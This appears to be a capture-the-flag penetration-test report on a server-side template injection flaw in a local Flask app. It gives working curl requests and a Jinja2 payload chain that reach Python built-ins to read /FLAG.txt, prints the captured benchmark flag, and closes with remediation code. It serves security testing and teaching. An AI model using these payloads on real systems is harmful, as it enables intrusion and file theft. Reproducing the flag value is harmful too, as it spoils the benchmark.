# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Server-Side Template Injection (SSTI) in POST /submit

**Summary:**
- **Vulnerable location:** POST /submit endpoint, `name` parameter (app.py:20-23)
- **Overview:** User input flows directly into Jinja2 Template() constructor without sanitization, enabling arbitrary Python code execution and complete system compromise
- **Impact:** Remote Code Execution (RCE), arbitrary file read, flag extraction, complete container compromise
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:**
- Network access to http://localhost:36217
- No authentication required (all endpoints are public)
- Standard HTTP client (curl, browser, etc.)

**Exploitation Steps:**

1. **Confirm SSTI Vulnerability with Basic Payload**

Execute the following command to verify template expression evaluation:

```bash
curl -X POST http://localhost:36217/submit \
  -d "name={{7*7}}" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Result:** The response displays "Thank you 49 for your submission." instead of "Thank you {{7*7}} for your submission.", confirming that Jinja2 expressions are evaluated server-side.

**Actual Result:** ✅ CONFIRMED - Response shows "Thank you 49 for your submission."

2. **Enumerate Python Class Hierarchy**

To find exploitable classes for file operations, enumerate all available Python classes:

```bash
curl -X POST http://localhost:36217/submit \
  --data-urlencode "name={{''.__class__.__mro__[1].__subclasses__()}}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -s -o classes_output.html
```

**Result:** Successfully enumerated 400+ Python classes available in the runtime environment, including:
- `subprocess.Popen` at index 370
- `os._wrap_close` 
- File I/O classes
- Network socket classes

3. **Extract Flag from /FLAG.txt**

Using the `subprocess.Popen` class at index 370, access Python's built-in `open()` function to read the flag file:

```bash
curl -X POST http://localhost:36217/submit \
  --data-urlencode "name={{''.__class__.__mro__[1].__subclasses__()[370].__init__.__globals__['__builtins__']['open']('/FLAG.txt').read()}}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -s
```

**Response Excerpt:**
```html
<div class="alert alert-success" role="alert" id="thankyou">
    Thank you FLAG{5e49e40752ed3d0781271ccbd96b9e6d0935c76b926bdf851d7eef811ad637aa} for your submission.
    <br>
    We will contact you shortly.
</div>
```

**Proof of Impact:**

🎯 **FLAG CAPTURED:** `FLAG{5e49e40752ed3d0781271ccbd96b9e6d0935c76b926bdf851d7eef811ad637aa}`

**Technical Details:**

**Vulnerability Root Cause:**
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/app.py`
- Lines: 20-23
- Vulnerable code:
  ```python
  name = request.form['name']  # Line 20: Untrusted input
  thank_you_message = f'Thank you {name} for your submission.'  # Line 22: F-string interpolation
  template = Template(thank_you_message)  # Line 23: SSTI SINK - user input in template source
  rendered_template = template.render()  # Line 24: Execution
  ```

**Attack Chain:**
1. User input (`name` parameter) extracted from POST request without validation
2. Input embedded in f-string via string interpolation
3. Concatenated string passed to Jinja2 `Template()` constructor as source code
4. Jinja2 parses and executes injected template expressions
5. Attacker gains access to Python object hierarchy via `__class__.__mro__[1].__subclasses__()`
6. Attacker accesses `subprocess.Popen.__init__.__globals__['__builtins__']` to reach built-in functions
7. Attacker uses `open('/FLAG.txt').read()` to extract flag content

**Exploitation Payload Breakdown:**

```python
{{
  ''.__class__                              # Get str class
    .__mro__[1]                             # Get object base class
    .__subclasses__()[370]                  # Get subprocess.Popen class at index 370
    .__init__                               # Get __init__ method
    .__globals__['__builtins__']            # Access built-in functions dictionary
    ['open']('/FLAG.txt')                   # Call open() function with flag file path
    .read()                                 # Read file contents
}}
```

**Defense Evasion:**
- No WAF detected - payload executed without filtering
- No rate limiting - multiple attempts allowed
- No input validation - all special characters accepted
- No length limits - complex payloads accepted
- No authentication required - public endpoint exploitation

**Notes:**

This vulnerability demonstrates a textbook SSTI attack where untrusted user input is directly embedded into template source code rather than being passed as a template variable. The application implements zero defensive measures:

- ❌ No input validation or sanitization
- ❌ No Jinja2 sandboxing (not using ImmutableSandboxedEnvironment)
- ❌ No autoescape (irrelevant, as SSTI occurs before output rendering)
- ❌ No rate limiting or request throttling
- ❌ No WAF or security controls

The container runs as root (UID 0) with full filesystem access, amplifying the impact of the vulnerability. The flag file `/FLAG.txt` is world-readable (644 permissions), making extraction trivial once code execution is achieved.

**CTF Objective:** ✅ COMPLETE - Flag successfully extracted in 3 exploitation steps.

---

## Exploitation Summary Statistics

| Metric | Value |
|--------|-------|
| **Total Vulnerabilities in Queue** | 1 |
| **Successfully Exploited** | 1 |
| **Exploitation Time** | ~5 minutes |
| **Complexity** | Trivial (single HTTP request) |
| **Authentication Required** | None |
| **Flags Captured** | 1 |
| **RCE Achieved** | Yes |
| **Data Exfiltrated** | FLAG.txt contents |

---

## Recommendations

**Immediate Remediation:**

Replace the vulnerable code at `app.py:20-27` with secure template rendering:

```python
# SECURE CODE:
@app.route('/submit', methods=['POST'])
def submit():
    name = request.form.get('name', '')[:100]  # Length limit
    # Pass user input as template variable (data), not template source (code)
    return render_template('thank_you.html', name=name)
```

Update `thank_you.html` to use the variable safely:

```html
<!-- Jinja2 auto-escaping applies to variables -->
<div class="alert alert-success" role="alert" id="thankyou">
    Thank you {{ name }} for your submission.
    <br>
    We will contact you shortly.
</div>
```

**Additional Security Measures:**

1. Implement input validation and sanitization
2. Add rate limiting (e.g., Flask-Limiter)
3. Configure CSRF protection (Flask-WTF)
4. Add security headers (Flask-Talisman)
5. Use production WSGI server (Gunicorn, not Werkzeug development server)
6. Run container as non-root user
7. Implement request logging and monitoring

---

**END OF EXPLOITATION EVIDENCE**